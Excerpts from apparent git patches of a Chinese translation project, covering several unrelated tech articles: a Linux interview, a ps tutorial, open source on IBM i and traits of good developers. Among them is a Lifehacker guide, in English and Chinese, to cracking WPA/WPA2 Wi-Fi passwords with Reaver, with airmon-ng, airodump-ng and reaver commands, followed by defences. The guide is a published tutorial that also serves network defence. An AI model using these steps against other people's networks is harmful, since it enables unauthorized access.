everyday life. - -**VentureBeat: What are the biggest opportunities for free and open-source software in 2014, in your opinion?** - -**Zemlin**: We’ve talked about gaming and consumer devices, but the enterprise continues to present even more opportunity for Linux. The rise of cloud computing is creating new challenges for developers and new opportunities for growth. Try to find a public cloud that’s not running Linux. - -The realization of years of promise in software defined networking will be one of the major stories of 2014. People don’t appreciate how big software defined networking and network function virtualization will become. Think about it. Billions of dollars are spent on hardware based switches, routers, load balancers, firewalls, etc.; this is all being abstracted into software. More importantly it is being abstracted via open source software in the sweet spot for OSS which is at this infrastructure layer. I think you’ll see projects like OpenDaylight and others have a big breakout year in 2014. - -Of course, this is all part of a broader trend towards collaborative development, which should be of interest to your readers. I’d predict that in another decade nearly all of infrastructure software will be built collaboratively. Developers in 2014 need to learn how to build software collaboratively and how to work on and contribute to open source software projects. Their career opportunities will be endless if they understand the principles of collaborative development and open source software. - -It’s a thrilling time to be involved in Linux. It’s become the de facto platform to go to for everything from smart watches to TVs to automobiles, you name it. - --------------------------------------------------------------------------------- - -via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/ -[2]:http://gopro.com/support/open-source \ No newline at end of file From 9525245bf5c0545f672ad46e0acc1bffeec593db Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Tue, 3 Dec 2013 16:39:17 +0800 Subject: [PATCH 340/402] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...

It provides a snapshot of the current processes along with detailed information like user id, cpu usage, memory usage, command name etc. It does not display data in real time like top or htop commands. But even though being simpler in features and output it is still an essential process management/monitoring tool that every linux newbie should know about and learn well. - -In this post we are going to revise the basics of using the ps command to check the processes and filter and sort them in different ways to suit better. - -### Note on syntax ### - -The ps command comes with an unusual set of 2 syntax styles. That is BSD and UNIX both. New users are often confused with and mis-interpret the two styles. So here is some basic info to get it clear before moving on. - -> Note : "ps aux" is not the same as "ps -aux". For example "-u" is used to show process of that user. But "u" means show detailed information. - -BSD style - The options in bsd style syntax are not preceded with a dash. - - ps aux - -UNIX/LINUX style - The options in linux style syntax are preceded by a dash as usual. - - ps -ef - -It is okay to mix both the syntax styles on linux systems. For example "ps ax -f". -But in this post we shall mostly focus on the unix style syntax. - -### How to use ps command ### - -#### 1.

IBM i shops were hesitant to use it, and vendors were afraid to adopt it. But with so much of the computing world now running on open source, the aversion to open source has gradually melted away, and it has steadily crept into use among large corporations, and the IBM i world too. + +It is tough to measure the adoption of open source software, which flows freely across networks by its very nature. Nobody requires you to register to use open source software, and there's no central clearinghouse of information about open source software. + +However, recent surveys and audits point to greater adoption of open source across all industries. Open source software components are widely used in in the financial services industry, according to Julian Brook, associate director at SQS Software, which conducts software quality audits for financial software vendors. "I would say that, arguably, open source is used in every organization that is developing software, especially in the financial services world," Brook [told Out-Law.com recently][1]. + +Governmental agencies lead the way in use of open source software, according to [Black Duck Software][2]'s 2013 Future of Open Source survey. More than 35 percent of government representatives queried for the survey say they use open source, followed by medical (15.2 percent), media (13 percent), financial (8.8 percent), and retail (5.9 percent). You can view more of the survey at [Slideshare][3]. + +Increasingly, users are adopting open source software because they expect higher software quality and security with open source, according to surveys like those from Black Duck. That's very interesting, because for many years, open source software was largely avoided for those two very reasons. + +These are opinion surveys, mind you. They're not necessarily reflections of actual reality. But it is clear than many of the shortcomings that people previously associated with open source software products are disappearing. And slowly but surely, this trend is bleeding over into the competitive world of IBM i software, too. + +### Open Source Impacts On IBM i ### + +The IBM i server is one of the last great bastions of proprietary technology in a world heading in the direction of open source. IBM does not share with the world the guts of the IBM i OS and the System Licensed Internal Code (SLIC) it runs on. You can take what access IBM provides developers to the machine, or you can leave it, but you can't get access to the internals. + +What goes on above the OS and SLIC layers is another matter entirely. We're not seeing a big influx of open source software in the world of ERP and business applications. But in many other software categories, open source options are proliferating. + +One IBM i proponent of open source software is [Raz-Lee][4]. The security software vendor, which relies on the open source [ClamAV][5] offering to power its IBM i-based anti-virus offering, called iSecurity Anti-Virus, says ClamAV had an update for an evolving security threat--the W32/Autorun.worm.aaeh Trojan Horse--months before its competitor had updated the signature library for its IBM i-based antivirus offering. + +"It turns out that ClamAV has been handling this threat . . . as of about eight to nine months ago," Raz-Lee vice president of business development Eli Spitz wrote in an email to IT Jungle last month. "In fact, one of our technicians here at Raz-Lee actually added his own unofficial signature to ClamAV's database before ClamAV included their formal signature for this virus." + +Another IBM i software vendor using open source tools is [Arpeggio Software][6] . The Atlanta, Georgia-based company uses lots of open source components in its various IBM i utilities, which aren't available under an open source license, but which Arpeggio gives away and then charges customers to get technical support, a common approach taken by commercial open source vendors. + +Arpeggio's latest offering, called ARP-DROP, uses the open source OAuth authentication method to help secure communication channels between IBM i servers and [DropBox][7] service running on the Internet. It also uses the OpenSSH encryption technology with ARP-SFTP client for IBM i. Arpeggio's founders (who also founded Trailblazer Systems, now part of [Liaison Technologies][8]) acknowledge that IBM i professionals could adopt the same open source tools to write similar tools. But they argue that Arpeggio does it better, so why not adopt their free tools and save yourself the time? + +In many cases, an IBM i shop's first conscious exposure to open source is the server side scripting language PHP. IBM and [Zend Technology][9] have worked for years to make PHP run well on IBM i, and Zend's entry-level PHP runtime is shipped along with every Power Systems server and IBM i license. + +One of the most popular PHP applications that run on IBM i servers is [SugarCRM][10]. Representatives with the Cupertino, California, company recently said that it has nearly 1,000 customers running the CRM software on IBM i servers. This includes paid enterprise licenses along with free community edition licenses. + +### Fighting Perceptions ### + +Most IBM i shops are big users of IBM i software, whether they know it or not. Some of the biggest, most important IT infrastructure components come from open source, including the Apache Web server, the Linux OS, the Java and PHP programming languages, the MySQL database, and the Eclipse development environment. + +There's no reason not to call open source "commercial grade" anymore, Raz-Lee's Spitz said. "A few weeks ago Sourcefire, the owners of ClamAV, was purchased by [Cisco Systems][11]. That's obviously a 'certification' by a large commercial organization for open source software. So open source anti-virus software seems to be valuable to a multi-national company." + +While open source software is making inroads in the IBM i community, it still has a ways to go to match the momentum that open source enjoys in the IT market as a whole. "It seems that the IBM i community is often less involved with open source and is not exposed to its importance and prevalence in the current computing area," Spitz said. "In many cases, open source is the 'playground' of very large companies who join to create a better arena for us all." + +As the corporations of the world gradually becomes amenable to open source, the IBM i community will have no choice but to follow. + +-------------------------------------------------------------------------------- + +via: http://www.itjungle.com/tfh/tfh120213-story01.html + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.out-law.com/en/articles/2013/september/open-source-code-use-within-financial-services-organisations-visibility-only-50-at-best-says-software-quality-expert/ +[2]:http://www.blackducksoftware.com/ +[3]:http://www.slideshare.net/blackducksoftware/the-2013-future-of-open-source-survey-results +[4]:http://www.razlee.com/ +[5]:http://www.clamav.net/ +[6]:http://www.arpeggiosoftware.com/ +[7]:http://www.dropbox.com/ +[8]:http://www.liaison.com/ +[9]:http://www.zend.com/ +[10]:http://www.sugarcrm.com/ +[11]:http://www.cisco.com/ \ No newline at end of file From 7b887508628f066beee4601557295861b448557b Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Wed, 4 Dec 2013 16:31:08 +0800 Subject: [PATCH 346/402] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...

Knowing, as you might, how [easy it is to crack a WEP password][1], you probably secure your network using the more bulletproof WPA security protocol. - -Here's the bad news: A new, free, open-source tool called [Reaver][2] exploits a security hole in wireless routers and can crack most routers' current passwords with relative ease. Here's how to crack a WPA or WPA2 password, step by step, with Reaver—and how to protect your network against Reaver attacks. - -In the first section of this post, I'll walk through the steps required to crack a WPA password using Reaver. You can follow along with either the video or the text below.

The more you know, the better you can protect yourself. - -### What You'll Need ### - -You don't have to be a networking wizard to use Reaver, the command-line tool that does the heavy lifting, and if you've got a blank DVD, a computer with compatible Wi-Fi, and a few hours on your hands, you've got basically all you'll need. There are a number of ways you could set up Reaver, but here are the specific requirements for this guide: - -![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg) - -- [**The BackTrack 5 Live DVD**][4]. BackTrack is a bootable Linux distribution that's filled to the brim with network testing tools, and while it's not strictly required to use Reaver, it's the easiest approach for most users. Download the Live DVD [from BackTrack's download page][5] and burn it to a DVD. You can alternately download a virtual machine image if you're using VMware, but if you don't know what VMware is, just stick with the Live DVD. As of this writing, that means you should select BackTrack 5 R3 from the Release drop-down, select Gnome, 32- or 64-bit depending on your CPU (if you don't know which you have, 32 is a safe bet), ISO for image, and then download the ISO. - -- **A computer with Wi-Fi and a DVD drive**. BackTrack will work with the wireless card on most laptops, so chances are your laptop will work fine. However, BackTrack doesn't have a full compatibility list, so no guarantees. You'll also need a DVD drive, since that's how you'll boot into BackTrack. I used a six-year-old MacBook Pro. - -- **A nearby WPA-secured Wi-Fi network**. Technically, it will need to be a network using WPA security with the WPS feature enabled. I'll explain in more detail in the "How Reaver Works" section how WPS creates the security hole that makes WPA cracking possible. - -- **A little patience**. This is a 4-step process, and while it's not terribly difficult to crack a WPA password with Reaver, it's a brute-force attack, which means your computer will be testing a number of different combinations of cracks on your router before it finds the right one. When I tested it, Reaver took roughly 2.5 hours to successfully crack my password. The [Reaver home page][6] suggests it can take anywhere from 4-10 hours. Your mileage may vary. - -### Let's Get Crackin' ### - -At this point you should have BackTrack burned to a DVD, and you should have your laptop handy. - -#### Step 1: Boot into BackTrack #### - -To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter. - -Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type `startx` and press Enter. BackTrack will boot into its graphical interface. - -#### Step 2: Install Reaver #### - -Update: This step is no longer necessary, as Reaver comes pre-installed on Backtrack 5 R3. Skip down to Step 3. - -Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to. - -1. Click Applications > Internet > Wicd Network Manager -1. Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time. - -Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type: - - apt-get update - -And then, after the update completes: - - apt-get install reaver - -If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.) - -#### Step 3: Gather Your Device Information, Prep Your Crackin' #### - -In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that. - -**Find your wireless card:** Inside Terminal, type: - - iwconfig - -Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named `wlan0`, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different. - -![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg) - -**Put your wireless card into monitor mode**: Assuming your wireless card's interface name is `wlan0`, execute the following command to put your wireless card into monitor mode: - - airmon-ng start wlan0 - -This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be `mon0`, like in the screenshot below. Make note of that. - -![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg) - -**Find the BSSID of the router you want to crack**: Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command: - - airodump-ng wlan0 - -(Note: If `airodump-ng wlan0` doesn't work for you, you may want to try the monitor interface instead—e.g., `airodump-ng mon0`.) - -You'll see a list of the wireless networks in range—it'll look something like the screenshot below: - -![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg) - -When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column. (If it's WEP, use our [previous guide to cracking WEP passwords][7].) - -Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver. - -#### Step 4: Crack a Network's WPA Password with Reaver #### - -Now execute the following command in the Terminal, replacing `bssid` and moninterface with the BSSID and monitor interface and you copied down above: - - reaver -i moninterface -b bssid -vv - -For example, if your monitor interface was `mon0` like mine, and your BSSID was `8D:AE:9D:65:1F:B2` (a BSSID I just made up), your command would look like: - - reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv - -Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending. When Reaver's cracking has completed, it'll look like this: - -![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg) - -**A few important factors to consider**: Reaver worked exactly as advertised in my test, but it won't necessarily work on all routers (see more below). Also, the router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work. Throughout the process, Reaver would sometimes experience a timeout, sometimes get locked in a loop trying the same PIN repeatedly, and so on. I just let it keep on running, and kept it close to the router, and eventually it worked its way through. - -Also of note, you can also pause your progress at any time by pressing Ctrl+C while Reaver is running. This will quit the process, but Reaver will save any progress so that next time you run the command, you can pick up where you left off-as long as you don't shut down your computer (which, if you're running off a live DVD, will reset everything). - -### How Reaver Works ### - -Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password. - -Read more details about the vulnerability at [Sean Gallagher's excellent post on Ars Technica][8]. - -### How to Protect Yourself Against Reaver Attacks ### - -Since the vulnerability lies in the implementation of WPS, your network should be safe if you can simply turn off WPS (or, even better, if your router doesn't support it in the first place). Unfortunately, as Gallagher [points out as Ars][9], even with WPS manually turned off through his router's settings, Reaver was still able to crack his password. - -> In a phone conversation, Craig Heffner said that the inability to shut this vulnerability down is widespread. He and others have found it to occur with every Linksys and Cisco Valet wireless access point they've tested. "On all of the Linksys routers, you cannot manually disable WPS," he said. While the Web interface has a radio button that allegedly turns off WPS configuration, "it's still on and still vulnerable. - -So that's kind of a bummer. You may still want to try disabling WPS on your router if you can, and test it against Reaver to see if it helps. - -You could also set up MAC address filtering on your router (which only allows specifically whitelisted devices to connect to your network), but a sufficiently savvy hacker could detect the MAC address of a whitelisted device and use MAC address spoofing to imitate that computer. - -Double bummer. So what will work? - -I have the open-source router firmware [DD-WRT][10] installed on my router and I was unable to use Reaver to crack its password. As it turns out, [DD-WRT does not support WPS][11], so there's yet another reason to love the free router-booster. If that's got you interested in DD-WRT, check their [supported devices list][12] to see if your router's supported. It's a good security upgrade, and DD-WRT can also do cool things like [monitor your internet usage][13], [set up a network hard drive][14], act as a [whole-house ad blocker][15], [boost the range of your Wi-Fi network][16], and more. It essentially [turns your $60 router into a $600 router][17]. - --------------------------------------------------------------------------------- - -via:

+================================================================================ +![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg) + +Wi-Fi网络能够让我们便利地访问因特网，但同时，我们又不希望隔壁抠门猥琐男总是蹭我们的网，所以自然要给WiFi加个密码，对吧？于是，好消息是，也许你已经看过我的另一篇文章，“[如何轻易破解WEP密码][1]”,所以你使用了更稳固的WPA安全协议。 + +但坏消息是，现在有一款自由开源新工具——[Reaver][2]，已经挖掘出了无线路由器的一个漏洞，由此能够破解绝大多数路由器上的密码。今天，我就来一步步介绍，如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。 + +文章的第一部分，是使用Reaver破解WPA的详细步骤，读者可以看视频，也可以跟着下面的文字一起做。然后，我会解释Reaver的工作原理。最后，介绍如何防范Reaver攻击。 + +[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3] + +在正式开始之前，我还是要不厌其烦强调一下：知识就是力量，但是拥有力量不代表着可以为所欲为、触犯法律。同样，骑白马的不一定是王子，会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证，只适用于学习。你知道的越多，就能够越好的保护自己。 + +###准备工作### + +首先，无需成为一名网络专家，学会使用复杂的命令行工具，你只需要准备一张空白DVD、一台能连接WiFi的电脑，并腾出几个小时时间，这就是我们基本需要的东西。要安装Reaver，可以有很多方法，但是这里我们建议你按照下面的指南来做： + +![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg) + +- [**The BackTrack 5 Live DVD**][4]。BackTrack是一款支持自启动的Linux发行版，上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件，但是对于大多数用户却是最简单一个方法。从[BackTrack的下载页面（传送门）][5]下载Live DVD，然后刻盘。这里你也可以下载镜像然后使用VMware安装，如果你不知道VMware是啥，额，那就还是刻盘吧。如图所示，下载的时候，下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统（如果这里不确定是32还是64，为了保险起见，请选择32位），下载类型选择ISO，然后就可以点击下载了。 + +- **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡，这一点对于大多数读者应该没什么问题。同时，你的电脑需要有一个DVD光驱，这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。 + +- **附近要有采用WPA加密的WiFi网络**。没WiFi网，你破解谁去=。= ……一会我会在“Reaver的工作原理部分”介绍，WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。 + +- **最后，你还需要一点点的耐心**。这是整个实验的最后一步，使用Reaver破解WPA密码并不难，它采用的是暴力破解，因此，你的电脑将会测试大量不同的密码组合，来尝试破解路由器，直到最终找到正确的密码。我测试的时候，Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页][6]上介绍，一般这个时间在4到10个小时之间，视具体情况而定。 + +###让我们开始吧### + +此时，你应该已经把BackTrack的DVD光盘刻录好了，笔记本也应该已经准备就绪。 + +####第1步：启动BackTrack#### + +要启动BackTrack，只需将DVD放入光驱，电脑从光盘启动。（如果不知道如何使用live CD或DVD启动，请自行Google。）启动过程中，BackTrack会让你选择启动模式，选择默认的“BackTrack Text - Default Boot Text Mode”然后回车。 + +最终BackTrack会来到一个命令行界面，键入`startx`，回车，BackTrack就会进入它的图形界面。 + +####第2步：安装Reaver#### + +（文章更新：Reaver在R3版中已经预装，如果你安装的是BT5的R3版，这一步骤可以忽略，直接跳到第3步。） + +Reaver已经加入了BackTrack的最新版软件包，只是还没有集成到live DVD里，所以，在本文最初撰写的时候，你还需要手动安装Reaver。要安装Reaver，首先设置电脑联网。 + +1.点击Applications > Internet > Wicd Network Manager +2.选择你的网络并点击Connect，如果需要的话，键入密码，点击OK，然后再次点击Connect。 + +连上网以后，安装Reaver。点击菜单栏里的终端按钮（或者依次点击 Applications > Accessories > Terminal）。在终端界面，键入以下命令： + + apt-get update + +更新完成之后，键入： + + apt-get install reaver + +如果一切顺利，Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网，那么在继续下面的操作之前，请先断开网络连接，并假装不知道WiFi密码=。= 接下来我们要准备破解它~ + +####第3步：搜集设备信息，准备破解#### + +在使用Reaver之前，你需要获取你无线网卡的接口名称、路由的BSSID（BSSID是一个由字母和数字组成的序列，用于作为路由器的唯一标识）、以及确保你的无线网卡处于监控模式。具体参见以下步骤。 + +**找到无线网卡：**在终端里，键入： + + iwconfig + +回车。此时你应该看到无线设备的相关信息。一般，名字叫做`wlan0`，但如果你的机子不止一个无线网卡，或者使用的是不常见的网络设备，名字可能会有所不同。 + +![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg) + +**将无线网卡设置为监控模式**：假设你的无线网卡接口名称为`wlan0`，执行下列命令，将无线网卡设置为监控模式： + + airmon-ng start wlan0 + +这一命令将会输出监控模式接口的名称，如下图中箭头所示，一般情况下，都叫做`mon0`。 + +![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg) + +**找到你打算破解的路由器的BSSID**：最后，你需要获取路由器的唯一标识，以便Reaver指向要破解的目标。执行以下命令： + + airodump-ng wlan0 + +（注意：如果`airodump-ng wlan0`命令执行失败，可以尝试对监控接口执行，例如`airodump-ng mon0`） + +此时，你将看到屏幕上列出周围一定范围内的无线网络，如下图所示： + +![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg) + +当看到你想要破解的网络时，按下Ctrl+C，停止列表刷新，然后复制该网络的BSSID（图中左侧字母、数字和分号组成的序列）。从ENC这一列可以看出，该网络是WPA或WPA2协议。（如果为WEP协议，可以参考我的[前一篇文章——WEP密码破解指南][7]） + +现在，手里有了BSSID和监控接口的名称，万事俱备，只欠破解了。 + +####第4步：使用Reaver破解无线网络的WPA密码#### + +在终端中执行下列命令，用你实际获取到的BSSID替换命令中的 `bssid` ： + + reaver -i moninterface -b bssid -vv + +例如，如果你和我一样，监控接口都叫做 `mon0`，并且你要破解的路由器BSSID是`8D:AE:9D:65:1F:B2`，那么命令应该是下面这个样子： + + reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv + +最后，回车！接下来，就是喝喝茶、发发呆，等待Reaver魔法的发生。Reaver将会通过暴力破解，尝试一系列PIN码，这将会持续一段时间，在我的测试中，Reaver花了2个半小时破解网络，得出正确密码。正如前文中提到过的，Reaver的文档号称这个时间一般在4到10个小时之间，因此根据实际情况不同，这个时间也会有所变化。当Reaver的破解完成时，它看起来是下图中这个样子： + +![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg) + +**一些要强调的事实**：Reaver在我的测试中工作良好，但是并非所有的路由器都能顺利破解（后文会具体介绍）。并且，你要破解的路由器需要有一个相对较强的信号，否则Reaver很难正常工作，可能会出现其他一些意想不到的问题。整个过程中，Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们，只是保持电脑尽量靠近路由器，Reaver最终会自行处理这些问题。 + +除此以外，你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序，但是Reaver下次启动的时候会自动恢复继续之前的工作，前提是只要你没有关闭或重启电脑（如果你直接在live DVD里运行，关闭之前的工作都会丢失）。 + +###Reaver的工作原理### + +你已经学会了使用Reaver，现在，让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置（WiFi Protected Setup - 下文中简称为WPS）的一个弱点，WPS是许多路由器上都有的一个功能，可以为用户提供简单的配置过程，它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷，最终的结果就是，只要有足够的时间，它就能破解WPA或WPA2的密码。 + +关于这个缺陷的具体细节，参看[Sean Gallagher's excellent post on Ars Technica][8]。 + +###如何防范Reaver攻击### + +该缺陷存在于WPS的实现过程中，因此，如果能够关闭WPS，WiFi就是安全的（或者，更好的情况是，你的路由器天生就木有这一功能）。但不幸的是，正如Gallagher[在Ars的文章中所指出的][9]，即使在路由器设置中人为关掉了WPS，Reaver仍然能够破解其密码。 + +> 在一次电话通话中，Craig Heffner说道，很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过，所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上，你甚至无法手动关闭WPS，”他说，尽管Web界面中有关闭WPS配置的按钮，但是“它仍然会自动打开，极易受到攻击”。 + +因此，方法一：失败！。也许你可以亲自尝试把你的路由器WPS关闭，然后测试一下Reaver是否还能成功破解。 + +你也可以在路由器中设置一下MAC地址过滤（只允许指定的白名单设备连接你的网络），但是有经验的黑客还是能够检测出设备的白名单MAC地址，并使用MAC地址仿冒你的计算机。 + +方法二：失败！那到底该怎么办？ + +我的建议是，我曾经在我的路由器上安装了开源路由固件[DD-WRT][10]，成功防御了Reaver攻击。因为，[DD-WRT天生就是不支持WPS的][11]，因此，这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣，可以看一下这里的[设备支持列表][12]，看是否支持你的路由器设备。除了安全上的升级，DD-WRT还可以[监控网络行为][13]，[设置网络驱动器][14]，[拦截广告][15]，[增强WiFi信号范围][16]等，它完全可以[让你60美刀的路由器发挥出600美刀路由器的水平][17]！

It may not be the most glamorous side of software (it’s nowhere near as interesting as [shrinkwrap startups][1] or those fancy-dancy [Web 2.0][2] companies that show up in your browser every time you mistype a domain name), but it’s stable, pays well, and has its own set of challenges that other types of software development know nothing about. - -For example, when was the last time someone working on the next version of Halo spent three weeks trying to gather people from accounting, marketing, product management, and their call center in order to nail down requirements that would likely change in 2 months once they’ve delivered the software? - -Or when was the last time someone at [37Signals][3] sat through back to back weeks of [JAD sessions][4]? - -In this world of corporate development I’ve known a few phenomenal developers. I’m talking about those A people whom you would quit your job for to go start a company. And the the more I looked at what makes them so good, the more I realized they all share a handful of personality traits. Well, not exactly a handful, more like four. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/chess_game.jpg) - -### Pessimistic ### - -Admiral Jim Stockdale was the highest ranking US military officer imprisoned in Vietnam. He was held in the “Hanoi Hilton” and repeatedly tortured over 8 years. Stockdale told Jim Collins, author of [Good to Great][5], “You must never confuse faith that you will prevail in the end, which you can never afford to lose, with the discipline to confront the most brutal facts of your current reality, whatever they might be.” - -After his release, Stockdale became the first three-star officer in the history of the navy to wear both aviator wings and the Congressional Medal of Honor. - -Stockdale was a pessimist in the short-term because he faced the brutal facts of his reality, but was an optimist in the long-term because of his confidence that he would prevail in the end. - -No one anticipates a catastrophic system failure by looking on the bright side. The best developers I know are experts at finding points of failure. You’ll often hear them quipping “What could possibly go wrong?” after someone makes a suggestion to handle a critical data transfer via nightly FTP over a dial-up connection. The best developers anticipate headaches that other developers never think of, and do everything within their power to avoid them. - -On the flip side, great developers are optimistic, even downright confident, about their overall success. They know that by being a pessimist in the short-term, their long-term success is ensured. Just like Jim Stockdale, they realize that by confronting the brutal facts of their current reality they will prevail in the end. - -### Angered By Sloppy Code ### - -Paul Graham nailed it when [he said][6] “…people who are great at something are not so much convinced of their own greatness as mystified at why everyone else seems so incompetent.” - -The worst nightmare for a great developer is to see someone else’s software gasping for air while bringing the rest of the system to its knees. It’s downright infuriating. And this isn’t limited to code; it can be bad installation packages, sloppy deployments, or a misspelled column name. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/paris_sewers.jpg) - -Due to the life and death nature of their products, NASA designs zero-defect software systems using a process that has nearly eliminated the possibility for human error. They’ve added layer after layer of checks and balances that have resulted from years of finding mistakes and figuring out the best way to eliminate them. NASA is the poster child for discovering the source of a mistake and modifying their process to eliminate the possibility of that mistake ever happening again. And it works. A quote from [this Fast Company article][7] on NASA’s development process says - -“What makes it remarkable is how well the software works. This software never crashes. It never needs to be re-booted. This software is bug-free. It is perfect, as perfect as human beings have achieved. Consider these stats: the last three versions of the program — each 420,000 lines long-had just one error each. The last 11 versions of this software had a total of 17 errors. Commercial programs of equivalent complexity would have 5,000 errors.” - -I’m not saying we have to develop to this standard, but NASA knows how to find and fix bugs, and the way they do it is to find the source of every problem. - -Someone who fixes a problem but doesn’t take the time to find out what caused it is doomed to never become an expert in their field. Experience is not years on the job, it’s learning to recognize a problem before it occurs, which can only be done by knowing what causes it in the first place. - -Developers who don’t take the time to find the source often create sloppy solutions. For hundreds of examples of sloppy solutions visit [The Daily WTF][8]. Here are a few I’ve seen in my career: - -- An assembly is deleted from a server each time it’s rebooted. You could create a custom script to re-copy that assembly to the server after each reboot, or find out why the assembly is being deleted in the first place. -- An image-manipulation script is hogging processor power for minutes at a time when it should run in under 10 seconds. You could make the script run at 2am when no one will notice, or you can take the time to step through the code and figure out where the real problem is. -- A shared XML file is being locked by a process, causing other processes to fail when they try to open it. You could make several copies of the XML file so each process has its own, or you could troubleshoot the file access code to find out why it’s locking the file. -- And on and on… - -### Long Term Life Planners ### - -This one was a little puzzling for the longest time, but I think I’ve finally put it together. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/brown_guitar.jpg) - -People who think many years down the road in their personal life have the gift to think down the road during development. Being able to see the impacts of present-day decisions is paramount to building great software. The best developers I know have stable family lives, save for retirement, own their own home, and eat an apple a day (ok, maybe not that last one). People who have spastic home-lives and live paycheck to paycheck can certainly be good developers, but what they lack in life they tend to lack in the office: the ability to be disciplined, and to develop and adhere to a long-term plan. - -### Attention to Detail ### - -I’ve known smart developers who don’t pay attention to detail. The result is misspelled database columns, uncommented code, projects that aren’t checked into source control, software that’s not unit tested, unimplemented features, and so on. All of these can be easily dealt with if you’re building a Google mash-up or a five page website. But in corporate development each of these screw-ups is a death knell. - -So I’ll say it very loud, but I promise I’ll only say it once: - -**I have never, ever, ever seen a great software developer who does not have amazing attention to detail.** - -I worked with a programmer back in school who forced anyone working with him to indent using two spaces instead of tabs. If you gave him code that didn’t use two 